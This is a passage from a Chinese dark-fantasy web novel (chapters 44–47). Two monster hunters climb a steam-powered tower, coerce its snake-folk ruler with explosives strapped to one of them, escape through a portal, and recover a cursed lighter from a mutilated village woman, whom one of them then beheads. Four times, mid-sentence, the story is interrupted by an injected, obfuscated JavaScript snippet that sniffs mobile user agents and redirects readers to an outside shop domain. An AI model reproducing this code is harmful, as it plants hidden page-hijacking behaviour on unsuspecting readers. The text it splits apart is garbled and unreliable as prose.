蛇人高兴地嚷嚷着,似乎并没有恶意,也不打算让警卫来处置从天而降的两人。 据蛇人缪特尔所说,他是一名隶属于科学院的三等研究员,只不过他对那些蒸汽装置并不感兴趣,主要研究生物科技。因此一见到这两个构造与蛇人截然不同的生物,缪特尔就匆匆赶了出来,正好奇地打量着他们的双腿,时不时发出一声惊叹。 意识到两人是外来者,很可能被人抓走,缪特尔又打开门,将他们带进了实验室。 “你们真的一点鳞片都没有……”缪特尔迷恋的目光从两人身上滑过,“不用蜕皮,无需休眠,而且分化出的下肢能够如此灵活地行动。呃、我可以取一点你们的组织,做切片研究吗?” 伊凡皱了皱眉,觉得这个蛇人属实有点神叨叨的,伸手按下路远寒,朝他使了个眼色,却听见队友开口说道:“可以,但是等价交换,你能为我们提供什么好处呢?” 缪特尔愣了一下,略显犹豫:“作为受试者,确实应该给你们提供酬劳…只不过我是三等研究员,经费有限,每个月工资只有一万五金铢,能给你们的资源很少。” 伊凡也回过味了,发现这个蛇人性情温顺,似乎格外好商量,只要答应缪特尔的请求,就能借他的身份混进天之塔中。 “不用担心钱的事。” 路远寒笑了一下,展露出友好的态度,只不过他左脸还处于毁容状态,被严重烧伤的血肉正在自我修复,焦黑的痕迹蠕动着在他脸颊上微微起伏,看上去颇为恐怖。 他问缪特尔:“你既然是研究员,应该能进入天之塔吧?” 缪特尔没想到路远寒会问出这句话,不由得看了他一眼:“可以是可以……只是主塔共有四百多层,以我的权限,开放的区域最高只能到九十九层,你们想进天之塔?有什么事吗?” 路远寒当然不会说他要见首脑,甚至可能会和执行官们发生冲突,只是让缪特尔想办法带他们上去,作为回报,他愿意提供一份血液,以及组织切片给缪特尔研究。 缪特尔几乎没有犹豫,就同意了他的要求。 对他而言,路远寒和伊凡谁来提供样本都是一样的。缪特尔用机器帮路远寒采了血,又从他完好的指腹上切下薄薄一层组织,简单处理后,将封片放进冷藏库里储存。 在他忙碌的过程中,还有一只圆型机器人跟在身边上下翻飞,头顶上旋翼嗡嗡震响,用机械眼打量着面前的两个陌生人。 接下来的事就简单了,缪特尔量了一下两人的身高体型,根据采集到的数据,让他们穿上外骨骼甲片。这层覆甲由轻金属制成,包裹性很好,行动轻盈,只从面上露出一双眼睛,伪装成机器人,就能将两人带进天之塔中了。 几人从玻璃房出来,顺着吊桥走到了主塔边上。升降梯旁有两名警卫看守,验过缪特尔的身份后,就将他们放进了升降梯。 只是这两个机器人造型古怪,让警卫忍不住瞥了一眼。 随着钢丝绳急速收紧,地面震颤,他们乘坐的升降梯向高处飞掠而去,到了九十九层,机械门应声而开,将两个偷渡者送到了黑塔内部。里面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13328406|136825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 器械繁复,齿轮转动,蒸汽灯耀眼地铺在天花板上,往来的蛇人如流水一样匆匆游走,身边还跟了两三个铁皮铜管的机器助手,帮忙提着公文包。 路远寒微妙地眨了眨眼,放慢动作,尽量让自己看上去也像一个履职尽责的机器人。 天之塔每层内部也划分了不同区域,除了最外侧的一个个工作间,大厅内设置了会议区、酒水区和休息区,供每位研究员使用。缪特尔领着两人走到休息区,灯光昏黄,路远寒看到机械装置旁放了一长排座椅,鹅绒质地,看上去很舒服,而相邻几个座位之间还有金属扶手。 几人刚要坐下,一个沉重的铁皮机器人从角落里咣当作响地走过来,用无机质的视线望着他们:“您无权在贵宾区休息,请提供权限。” 随着缪特尔将一枚造型奇特的螺钉嵌入它的掌心,顺时针旋转几圈,那机器人头部亮起绿灯,弯腰行了个礼,又匆匆走了。 “我只能将你们带到这里,你们也看到了,外侧的升降梯都是分楼层的,不可能逾矩到更高的区域,内部的升降梯倒是没有这种限制,想去几层都可以,但只有最上面十层的人有权限使用。” 说到这里,缪特尔示意两人向大厅正中望去,黑塔内部有一片中空区域,看上去像是管道,而那条独立的内线升降梯就紧贴在管道边上。据缪特尔解释,那根巨大的管道自下而上贯通了数百层楼,里面放满了蒸汽装置,是维持这座钢铁要塞正常运作的动力系统。 最上面十层吗……路远寒沉思着。 那里是执行官管辖的区域,而他们没有重大事情,不会轻易到下面来,连碰面的机会都没有一个,也就无从下手,他和伊凡得另外想办法上到顶楼。 “就算飞行器没有损坏,周围应该也是禁飞区域。”伊凡低声说道,“我刚才看过了,高塔外层架设了不少炮台,想从外围上去近乎没有可能。” 路远寒轻轻点头,将视线又投到了中央的管道上。 想起伊凡的钩爪,他很快就有了想法。他问缪特尔要了一把金属切割刀,两套钩爪装置,为了防止高空坠落,路远寒还提出要有能踩在脚下的悬浮台。 听到前面,缪特尔还一头雾水地应和着,直到路远寒开口要爆破装置,他才面色骤变:“…你到底要干什么?” 他忽然发现,面前的机器人有着一双冷酷的眼睛。 路远寒将指节放在膝盖上一敲一敲,慢条斯理地分析着:“缪特尔,你既然将我们带进来,就已经成为了共犯,要是我们被抓到,你也难逃其咎——小小一个研究员,能躲得过科学院的追杀吗?你帮我弄到这些装置,我们立刻就走,就算炸死也不会连累到你。” 正如他想的那样,缪特尔根本无法拒绝。 他让两人先在休息区等着,等了大概有半个小时,才气喘吁吁地提着一个黑袋子回来,路远寒打开袋子,发现里面正是他要的装置。在缪特尔惊悚的注视下,他揭开金属装甲,将炸药绑到了自己腰侧,在缝隙内留出一截雷.管。 45. 首脑 路远寒在身上绑好炸药,又将轻薄的金属盖了回去,让缪特尔教他们使用悬浮台。那两个小型装置被他踩在脚下,功率有限,不能持久推进,却能防止在一瞬间从高空跌落。 灯光落下,在金属表面照出一片耀眼的光泽。 一切都准备好以后,他也遵守诺言,让缪特尔乘坐升降梯下去,和这个倒霉的研究员就此道别。 既然休息区有免费茶点供应,路远寒也没有拒绝的道理。他和伊凡稍作整顿,又检查了一遍身上的武器,便像机器人似的朝大厅中央的区域走去。往来的蛇人面上都带着一股漠不关心的神情,没有多看他们一眼,而机器助手在旁边微笑着,看上去有种让人毛骨悚然的亲切感。 两人顺着管道外围一直绕圈,找到人流最稀少的区域,确保不会有人报警后,路远寒才拿出金属切割刀,在手上掂了一下重量,启动加热装置,用那锋利至极的金属刀划开外壁。 随着缕缕白烟从刀下冒出,面前的墙壁也被他割开一道可供人进入的痕迹,路远寒蓄力侧踢过去,那扇金属门立刻坠了下去,消失得无影无踪。 他收起金属切割刀,胳膊向前一伸,开始顺着升降梯井的钢丝绳向上攀爬。 那条钢丝绳相当光滑,好在两人戴了手套,不至于滑得下不了手。随着路远寒将全身重量都悬挂在纤细的绳索上,他也看见了下面千万丈黝黑的深渊,以及矗立在管道中的庞大机械:无数蒸汽机在链条下高速运作着,活塞飞起落下,阀门与输送管道盘错交织,像一条又一条血管缠在金属血肉上,构成了这座高塔下充满机油味的内脏。 扬尘拂过,让路远寒的指尖轻轻一颤。 他不再多想,全神贯注地攀着钢丝向上爬去,毕竟这是一件需要高度集中精力的事,一旦不慎松手,就会摔下去粉身碎骨。 大概十分钟后,他看到斜上方有条金属管道,路远寒找准方向,将钩爪甩手抛了出去,绳索在金属横梁上盘旋几圈固定下来,他顺势飞身一跃,被吊绳带到了管道上方。 就在路远寒数着下方楼层之际,伊凡也爬了上来,擦擦灰在他旁边坐下。 “二十层。”路远寒很快得出了结论,“平均半分钟一层,距顶楼还有三百零一层,还要爬两个多小时。考虑到中途可能会有的休息和体力损耗,大概四个小时后,我们能登顶。” 伊凡听他算得头都大了,感觉面前的队友也像是一台精密的机器。他拿出怀表,就着蒸汽机上方不时浮现的火光,看了眼当前的时间。 0:00,他们从冷藏库中醒来。 0:19,路远寒挟持卡列姆,驱车离开了贸易所 1:31,抵达费刊坡。 2:45,两人驾驶着飞行器,在炮火连天中逃离了第四区,就像自由的猎鹰。 4:07,机翼坠毁,伊凡带着路远寒飞上了黑塔。 现在是凌晨五点二十分,按照路远寒的计算,他们将在九点半以前到达顶楼,正好在蛇人们的工作时间,想必那位首脑也不会无缘无故缺席,顺利的话,应该能和他搭上线。 路远寒没有多作停歇,他站起来舒展了一下手指,调整好状态,又重新抛出钩爪,将自己的身体荡回了钢丝绳上。 接下来的过程漫长且枯燥,路远寒重复着向上爬的动作,不断有汗水从他额前淌下,打湿领口处的衣物,他几乎失去了对时间的感知能力。好在伊凡就在旁边不远处,两人互相照应,定点报一下时,倒也没有发生什么意外。 等到他的指节酸得无以复加,路远寒终于看到了这座巨塔的顶端。 他下盘双腿绞着钢索,将身体倾靠过去,用金属切割刀划开铁壁,翻身走进了金碧堂皇的内部。顶楼上方是一面巨大的拱顶,由全透明的玻璃壁铺设而成,看起来像是飞船的驾驶舱,站在这里,就可以俯瞰下方,塞伦城的四区尽在掌握之中。 路远寒向前走了几步,发现天之塔的控制中枢也在这里,无数操作杆和屏幕集中在一处控制台上。 除此以外,周围还有数座镶着滑轮可以移动的书库,每层架子上都堆满了不同的书籍资料,分门别类一一整理好归放处,看得出管理者是一个态度严谨的人。 他和伊凡像两个最下等的机器人,与这地方格格不入。 像这样重要的地方却没有警卫把守,看上去实在是非常可疑。路远寒提高警惕,在伊凡身边缓慢前进着,倏然,一阵骨碌碌的响动从书库背后传出,他猛然抬头,只见某位年迈的蛇人盘在梯车上,从书架旁边转了出来,手上正捧着本刚拿下来的书,察觉到他的视线,才不紧不慢地望向了两个入侵者。 这个人就是传闻中的首脑吗?路远寒想。 显然,这位首脑与他想象中的人略有出入。他看上去并没有多么威严,就像个最普通的研究员,同样穿西装,打领带,将外表收拾得一丝不苟,却无法掩盖那满头白发。 路远寒的视线落在了他手上——首脑的十根指节都改装成了机械,银白的金属在灯光下微微泛光,能延展出蜷指这样精细的动作。 “真是稀奇。”首脑慢悠悠开口了,“活得久了什么事都有,今天竟然有两个人类登门拜访……要穿过城中层层警卫,爬上数千米的高空,并不是件容易的事吧?” 他一口道破了两人的身份,路远寒瞬间绷紧了身体肌肉,见对方并没有表露出敌意,才谨慎地问道:“您就是科学院首脑吗?” 蛇人不置可否,默认了他的说法。他用深邃的目光审视着僵在原地的两人,似乎对他们徒手爬塔的事迹颇感兴趣,随着首脑一声令下,很快就有机器人搬了椅子过来,让到访者坐下。 最令人震惊的是,那两个机器人竟然有着与人类相似的外型,长发柔顺,睫毛浓密,面庞雕刻得极为秀美,修长的双腿紧裹在黑色皮革之下,随着金属靴子触地而发出哒哒轻响。它们没有性别,雌雄莫辨,却有着一种超脱于常规意义的完美,只是眼神中毫无感情,冷厉得就像猎魔人。 在路远寒盯着机器人看的时候,首脑忽而一笑:“怎么了,觉得很疑惑,为什么在地下能看到自己族群的机器人,很不可思议是吗?” “其实这世界上没有什么生而高贵的种族,我们如此,你们人类也是一样的。” 他招了招手,那两个有着天使般容颜的机器人便温顺地走到首脑身边,将他扶到了下面的座位上,单膝跪地,等着下一步指示。 首脑随手合上书籍,将旁边机器人的脸抬起来,摩挲着手下细腻的仿生肌肤,仔细观察着这张与蛇人高度相似的面孔,像要研究出两者之间到底有什么不同。他没看多久,又兴致索然地松开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13341008|136825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手:“……不过如此,除了极端的阴险狡诈,冷血而复杂的感情,你们这种生物也没有什么特殊的。” 他探讨问题一样的态度让路远寒忍不住发笑。 他并不想为谁开脱,只是语气很微妙:“难道您觉得在塞伦城中,就全部都是完美无暇的人了……您将自己当成什么了,救世主吗?” “即使这世上真的有神,也不可能考虑到每一个造物,我只负责管理这片区域。”首脑淡淡说道,“我们不去地上发展,是因为数量有限,无法与人类抗衡,千百年来留守在地底,还能靠这座蒸汽城发展文明。那些通道口并非人为,而是由神秘的力量联结,有通往上层区域,也有从你们的世界往下的,我们无法防止外来者入侵,只能时刻监测。” 路远寒眼神一变,既然有通往上层的光幕,那他和伊凡就不会被困死在地下城中。 首脑接过机器人端上来的茶水,喝了一口,露出了缅怀的神情:“其实在你们之前,还来过一批人类,他们设备精良,身负异能,反过来想捕获我们带回去研究,但都死在了这里。” “那是四十多年前的事了吧……所谓缉察队,是你们人类之中的精英吗?现在想起来,应该保留一份他们的基因,后来制造出的机器人都只借鉴了皮囊,没有生长痕迹,更没有自我意识,离真正的人类还差得太远。” 路远寒听得一阵眉头紧皱:“您多大了?” 首脑看出他的疑惑,伸手敲了一下自己的胸膛,那下面竟然是颗钢铁心脏:“我们族类的正常寿命是三十年,而我已经活了一百五十六年,身体内的多数器官都换成了机械驱动,只要我的大脑还能运转,就可以继续带来技术的变革。” “血肉何其贫弱,而我们竟然要靠这副躯壳才能活下去,岂不是一件悲哀的事吗?” 对于他的话,路远寒实在难以苟同。他想起曾见到过的机械改装人,在塞伦城这种崇拜蒸汽装置的地方,用机械改造自己并不奇怪,而首脑只是一个将其贯彻到极致的蛇人。 他不想再跟对方探讨这方面的哲学问题,直截了当地问:“首脑大人,请问您能将我们送到出去的通道口吗?” 首脑面上浮现出一个奇异的微笑,终于表现出了他的傲慢:“我为什么要送你们回去?” “因为这里是天之塔的顶楼,而我就在此处。之前缉察队过来,怕是连第一区的边都没能摸到吧……我说得对吗?” 路远寒从椅子上站起身来,握紧了手中的钢刀。 他意味深长地扫视着这座控制中枢,首脑面色骤变,意识到了什么,而路远寒已经踩着脚下的悬浮台冲了出去,猛然撞在那些操作杆上,一瞬间仿佛地震般的巨响贯穿了整个地下城,数座高楼倾塌,悬空艇坠毁,引起的连锁反应如海啸一般席卷四区,就连黑塔都在隐隐晃动。 首脑杀意毕现,本来一张和蔼的脸显得狰狞至极,他指下的机械迅速变化成带刺的长鞭,骤然朝着路远寒甩出,却被他躲了过去。 情势危急,他正要召集剩下十一名执行官,合力绞杀这两人,却忽然停了下来。 “您别闹了,杀了我就太不划算了。” 路远寒揭开金属甲片,露出身上绑满的炸药,终于拿出了最后的筹码:“要是在这里炸了,您上百年的心血不就功亏一篑了吗?” 46. 再探 路远寒的计划奏效了。 对于这种自杀式恐怖袭击,首脑也没有办法。毕竟在此之前,没有人徒手攀越天之塔,他更没能想到会有一个浑身绑满炸药的危险分子出现在顶层,他甚至开始考虑,是时候给中枢控制室安装一套防爆装置了。 望着路远寒轻触雷.管的指节,首脑的面色越发沉重。 像这种分量的炸药,能将一整层楼都夷为平地,到了那时候,就不只是他们三人在炮火下灰飞烟灭的事了,整座钢铁要塞,周围的蒸汽塔,甚至是塞伦城数以千万计的蛇人都要为他们陪葬。 首脑一时间有些郁结。 成为执行官以来的近百年,他再没有过这样强烈的情绪,直到现在才清楚地意识到,原来钢铁心脏也会渴望着想要撕开一个人的血肉,他并没有因为机械改造就真正脱胎换骨。 伊凡望着他那阴鸷的眼睛,察觉到这个蛇人恐怕在极力隐忍着怒火,脚下掠地,闪身挪到了路远寒背后。毕竟他身上没有绑着炸药,要是被对方拿来威胁他的队友,反倒成了一种累赘。 作为地下城的最高统治者,不过短暂片刻,首脑就恢复了平静,轻描淡写地指挥着那两名机器人:“红、青,你们去送一下两位客人……将他们送到三号跃迁点,确认客人走了再回来。” 随着他话音落下,仿佛披着血的机器人一步步走来,身上那层金属皮在蒸汽灯的照耀下盈盈地闪着光,像一把冰冷而温情的重兵器,停在了两人面前。 它屈膝俯身,朝路远寒伸出一双手,彬彬有礼地邀请客人随自己离开。 伊凡皱着眉说道:“将机器设计成这种模式,完全违反了伦理道德,帝国有一套严明的法律体系,要是在黑区,他得被吊上绞刑架,遭人千刀万剐。” 即使听到他说的话,那些机器人也毫无反应,只是领着两人前往顶楼的停机坪,上了一架无需驾驶的蒸汽飞艇。这艘飞艇比他们前面乘坐的通行工具要高端了太多,全自动巡航,行驶在空中如履平地,控制室内器械的精密程度,就是财阀的悬空艇也不能与之相比。 路远寒倚靠在玻璃舷窗上,望着下方一头又一头喷着蒸汽的钢铁巨兽,而红和青就在他身边静静站着,如同两个履职尽责的警卫。 伊凡正在一边处理伤口,飞艇上有医疗设备,他刚把缝在腹部的封印匣剖出来,沾血而湿漉漉的匣子放在置物台上,旁边还扔着一把镊子和血管钳,伊凡拿着手术刀,正在灯光照射下修剪着腰侧坏死的肌肉。 片刻后,埋进腹下的针线全部拆除,一排被鲜血浸湿的缝针躺在托盘上。 红走了过来,替伊凡敷好膏药,换上消毒处理过的纱布。金属的触感冰凉,然而低头望去,它的睫毛却如一根一根垂下的银线,仿佛因呼吸而微微颤动,不知道是由何种玻璃纤维煅烧而成。 伊凡不禁感到一阵难以描述的怪异,他拒绝了红的帮忙,却又为那仿若真人的容颜而感慨:“还好蛇人们只在地底活动,要是这种机械造人技术传到外面,会引发数不清的灾难的……” 他看问题的角度很犀利,毕竟在伯爵府的统治之下,缉察队权力至高,只是研究畸变物的利用价值,他们就已经使用了铁血手段。 要是出现一种能够替代人类的机器,不难想象会有多少人因此失去工作,又有多少战争兵器被投入黑区,到时候机械盛行,尸横遍野,必将是一场震荡世界的动乱。 “前辈,假如它们有思想,是不会接受这种任人摆布的命运的。” 路远寒的声音从舷窗下传来。 伊凡抬起头,望着阴影下他那半边冷峻的脸庞,忽然觉得他与旁边的机器人有着相似之处,都容貌俊美,头脑缜密,在平静的外表下隐藏着一种蓄势待发的力量。 察觉到他的视线,路远寒笑了一下,因脸上还在复原的肌肉而显得恐怖:“不觉得可悲吗?如果一生下来,就注定要成为怪物,那我猜它们宁愿死在培养舱里,也不想沦为毫无自由的兵器,被人尽情把玩。” 他又带上了那种微妙的语气。 经过数天的相处,伊凡已经摸清了路远寒的脾气,知道此人一旦认准什么事就会相当固执,因此并没有回答他的问题,用鹿绒布擦洗着手中那把太刀,在刀身表面涂上一层防锈油。 飞艇一路掠过塞伦城上方,缓缓降落在了最外围的绝壁上。 两人一出舱门,就看见了极为熟悉的光幕,拎着武器匆匆走下了飞艇。红与青站在金属舢板上,从高处注视着他们走进光幕,被通道口吞下去,才算是完成首脑布置的任务,指节一旋,转动了飞艇返航的操作杆。 路远寒忽有所感,回头看了一眼,只见两个机器人面上浮现出某种难以读懂的神情,短暂地维持了不到一秒,又迅速消失了。 …… 谁都没有想到,通道出口竟然在修兰村的废井之下。 两人一落地,就摔进了死寂的黑水里,被呛得不断咳嗽。井下盘旋的发丝如水草一样缠着他们的腿根,蜿蜒而上,好在之前已经用灵爆弹清理过这片区域,因此并没有构成什么威胁,路远寒挥刀一划,那些黑发就应声而断,纷纷落进了水底。 在一片漆黑中,蒸汽灯的光照亮了前方。 从飞艇上顺走的照明设备在此刻派上了用场,两人举起蒸汽灯,寻找着出去的小径。 路远寒想了想,将实验基地的情况告诉了伊凡,伊凡脚步一顿,意识到此事非同小可,拧着眉思考片刻,让他写一篇述职报告,在回到霍普斯镇的三日内上交到猎魔人协会。 路远寒如实说道:“前辈,我还没有写过述职报告,不知道应该用什么格式。” 伊凡怔了怔,旋即反应过来,觉得自己或许对奥斯温的性格太在意了,反而忘了他是个新人:“没事,你向格林请教一下就好了,他负责审阅文书,对这种事最为熟悉。” “您和格林的关系很好?”路远寒问了一句,“我以为威尔斯和前辈都闹成那样了,格林夹在中间,应该会很尴尬才是。” “格林是个性情温和的人,不会对同事有偏见的。”伊凡面上难得露出了点笑意,“很多年前,我和茱莉亚共事过一次,照顾过他妹妹,因此格林对我也很坦诚。” 茱莉亚是格林的妹妹?路远寒有些意外。 想起刚到秘语者遇到的年轻猎魔人,他不由得想道,幸好当时没有对茱莉亚下手,否 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13362951|136825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 则再遇到格林,恐怕就没有那么容易通过测试了。 除了地上略微湿滑以外,这段路并不难走,他们很快就找到了井口。从缪特尔手中拿到的钩爪装置还带在身上,路远寒瞄准上方,朝着井口用力一抛,钩爪飞出,稳当地攀在了边缘的缝隙处,将两人带了上去。 他们逃出生天,终于打量了一眼对方的尊容。 伊凡那套纯白制服遭了数次脏水浸泡,早已看不出原本的颜色,路远寒一身黑色系着装,情况倒还好些。只不过他们目光阴鸷,身上同样散发着难闻的气味,湿发一滴一滴地往下淌着水,看上去就像两个从井中爬出的怨鬼。 就连潜藏在修兰村中的怪物,一见到这两个充满杀气的黑影,都识时务地迅速爬走了。 按照常理,调查到此应该告一段落。 然而他们有了蒸汽枪、金属切割刀,火力比起刚到时有了显著加强,遇到成群的怪物也不需要转身逃走。路远寒问伊凡,还要再去一趟村长家吗,得到了他肯定的答复。 在前往村长家的路上,两人果然遭到了怪物袭击。那些惨白而狰狞的面庞刚冲到他们身前,就被高温蒸汽烧得惨叫起来,捂着一张将要融化的脸皮,惊恐地逃窜向了四方。 路远寒熄灭枪管,一脚踢开瘫软在地的怪物皮,用钩爪翻上了村长家门前的墙。 修兰村是怪物建立起的食人部落,数年来无数队伍找到这里,最后被打上失踪的标记,他们有三种可能的下场:其中可能性最大的是被村民捕食,要是再往深山里探索,就有可能找到畸变的源头,那片被污染的水域。 路远寒还有一种猜想,他认为缉察队可能还派人来过这里,重返当年的实验基地,只不过那些人潜到了塞伦城,落得一个被蛇人绞杀的结局。 事情的脉络至此已经清楚了,最后一个疑点,伊凡接受的任务内容是找到十年前某人的情报,查清对方的死活。而要打探到当年失踪的人去了哪里,就得询问修兰村里唯一的证人——村长的痴傻妻子。 想通这个关窍,他们才做出了再探村长家的决定。 路远寒顺手摘下门口的红铃铛,放进了衣袋里。他和伊凡翻身而下,时隔多日,村长竟然不在家中,不知道是外出觅食,还是去做什么了,但这无疑方便了他们接下来的行动。 两人探进内屋,看到了坐在轮椅上的妇人。 她仍然保持着那种近乎茫然无知的状态,即使听到了门锁被毁坏的声响,也照样无动于衷,怔愣地望着墙壁。路远寒却敏锐地观察到,妇人攥着腿上羊绒毯的指节微微抽搐了一下。 他面带微笑,下意识伸手抵在鼻梁上,才想起来自己现在没有戴眼镜。 路远寒放轻了声音:“夫人,我们是官方派遣的搜救小队,前段时间潜进村子里调查,就是为了收集证据……您这些年一定过得很辛苦吧?我们有武器,也有能力带你出去,只是这地方死了太多人,还有一点小小请求,需要您配合调查。” “请放心,我们不会对外公开您的信息,您忍辱负重是出于自保,不会被缉察队定罪。” 妇人的眼神逐渐有了变化,伊凡却在想,这人真是个说谎不打草稿的骗子。 47. 名片 虽然他的面容看上去像是撒旦,说话的语气却极有耐心,甚至编出了一套逻辑严谨的说辞。在路远寒的劝导之下,妇人的眼睛缓慢转了起来,片刻后,朝他张开了嘴,露出里面一截被割下舌头的肉根。 她竟然被割了舌头!路远寒眉心一跳。 或许并不是没有人找到这里,而是一个无法出声的人提供不了他们想要的情报……不知道是村长一开始就对妻子下此毒手,还是她尝试过逃离修兰村,最后被抓了回来,才遭到了这种酷刑? 他屈身蹲在轮椅前,掌心朝上袒露在妇人手边,发现对方的指节太过苍白干瘦,恐怕也握不住笔:“您如果有什么想告诉我的,简单写下来就好。” 谢…谢…… 妇人一笔一划地缓慢拼写着单词。 微弱的灯火下,隐约能看到她面上遍布的皱纹,含着半截断舌的喉咙也在不断颤动,然而妇人眼底却盛着一片水光,与之前那种沉寂的死态截然不同。路远寒转过头,朝伊凡使了个眼色:“前辈,你来问吧。” 伊凡看上去面色凝重,毕竟他自己也有家庭,但考虑到猎魔人工作的特殊性,为了保证家人的安全,他不得不与妻子儿女分开,自然看不得妇人受到这种虐待。 “十年前有一名作家来过修兰村,您有印象吗?他应该个头不高,大概到我肩膀的位置,脸颊上有一处明显的胎记,褐色卷发,还带了一个金属打火盒。那个盒子看上去非常耀眼,能烧出蓝色的火焰,是一件具有神秘力量的物品。” 伊凡说道。 他尽可能描述了委托目标的各种特征,路远寒在旁边听着,推断出对方身上带着一件异物,看来那东西很重要,雇主才会让伊凡将打火盒追回来。只是时隔多年,带着东西的人恐怕已经死了,想要查清真相,有着不小的难度。 妇人听完他的话,陷入了沉思。 她面上神情痛苦,就连呼吸都骤然加重了不少,像是在竭力回忆过去数年发生的事情,直到某一瞬间,灯罩下火光浮动,她紧攥着毯子的双手也松了下来。 她想到了什么?路远寒眉头微皱。 妇人费劲地推着轮椅,挪到墙角处的铁柜旁边,打开最下层抽屉,指节打着颤从里面捧出一个被落满灰的木匣,匣盖打开,露出沾血的银光,正是伊凡要找的那个打火盒。 没想到事情竟然一下就解决了,伊凡接过打火盒,语气略显沉重:“那个作家呢,他死了?” 妇人朝他摇了摇头,又点了点头,她重新张开嘴,用手指着自己通红的牙龈,做了个吞咽的动作。两人都看明白了,那人应该早就死了,被修兰村的怪物当成了食材,而妇人作为村里的一员,也参与到分食之中,吃下了他的血肉。 再望向妇人时,他们的视线已然有了变化。 无论背后隐藏着怎样的真相,但事实无法改变,她吃了人,与怪物们同流合污。 路远寒能理解那种克制不住食欲的情况,伊凡却无法再同情妇人。他将打火盒擦拭干净,指腹拨了一下滚轮,火焰顿时窜了起来,散发着的蓝光只有两寸高,却将整间屋子都照得极为透亮。 被那幽冷的光笼罩着,路远寒竟然看到眼前的一切开始变得模糊而深远,在隐隐重叠的幻影之中,他仿佛从修兰村的小屋走进了充满现代气息的摩登大楼,甚至能看到一张又一张熟悉的面孔,属于他的同事和上司。随着他指腹抚上屏幕,工位上摆着的笔记本如烟雾一样消散了,路远寒立刻意识到,这是异物的影响。 “奥斯温…奥斯温!你还好吗?” 伊凡的声音将他带了回来。 路远寒的视线渐渐聚焦,男人将打火盒熄灭了,但那飘渺的雾气似乎还在他眼前一缕缕萦绕,妇人则双手合掌,消瘦的面上保持着神秘而幸福的微笑,不知道她在那阵蓝光中看见了什么。 “没事。”路远寒重重按了一下眉心,用痛觉让自己清醒过来,“就是看到了一些…难以描述的东西。既然雇主让你找回这东西,那前辈你应该很清楚它的功能吧?” “我知道一些情报,却也是刚才领会到它的威力。”伊凡说道,“这件异物的危害程度虽然不高,但极其容易引起精神混乱,对于感染者而言,很可能导致他们走向癫狂……抱歉,我不应该擅自确认物品的真伪,是我太托大了。” 与眷顾那种时刻都会引发杀机的异物不同,这件金属打火盒需要手动触发,才会影响到周围的人,因此不放在封印装置里也没有太大的问题。 伊凡将打火盒装进武器袋里,转头望向路远寒:“既然委托已经完成了,现在走吗?” 作为队长,伊凡有权决定他们下一步该怎样行动。只是路远寒刚才编了一套搜救小队的说辞,说得有模有样,似乎真的打算给妇人一个解脱,伊凡才想知道他打算如何处置村长的妻子。 “我看前辈的意思,好像并不想带走一个吃人的怪物。”路远寒瞥了一眼妇人,她还没有从幻象中回过神来。 “她这些年困在修兰村中和怪物同居,以生肉为食,即使回到正常社会,恐怕也无法适应作为人类的生活。更何况你我都知道,缉察队不会放过任何一个可能的感染者,她出去了也是死路一条。” 他手上提着锯肉刀,指腹温热地摩挲了一下刀柄,又将钢刀收了回去:“我知道,给人希望再亲手毁灭,是一件绝望的事,但谁能对她负责?” “是将她留在怪物群中,还是给她解脱,就看前辈你的选择了。” 路远寒握住蓄势待发的武器,静静望着伊凡,像一把即将落下的铡刀,等待着他的判决。 话音落下,血肉飞溅。 那颗沉醉在美梦中的人头轰然落地,在伊凡脚下轻飘飘滚了几圈,一双早已黯淡的眼睛到死都紧闭着,不曾露出任何痛苦的迹象。 …… 从修兰村返回霍普斯镇的途中,路远寒将述职报告在火车上写好了,简洁概要地写了数百字,给伊凡看过之后,又删去了不少细节。 虽然还没有将打火盒归还雇主,拿到报酬,但伊凡回去后就要解除眷顾的封印,两人不太可能再碰面,所以他提前将酬劳分给了路远寒,共六百帝恩币,另外又给他报销了一套正装,作为队长,他在这些事上考虑得很周到。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376907|136825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在,路远寒的积蓄达到了八千帝恩币。 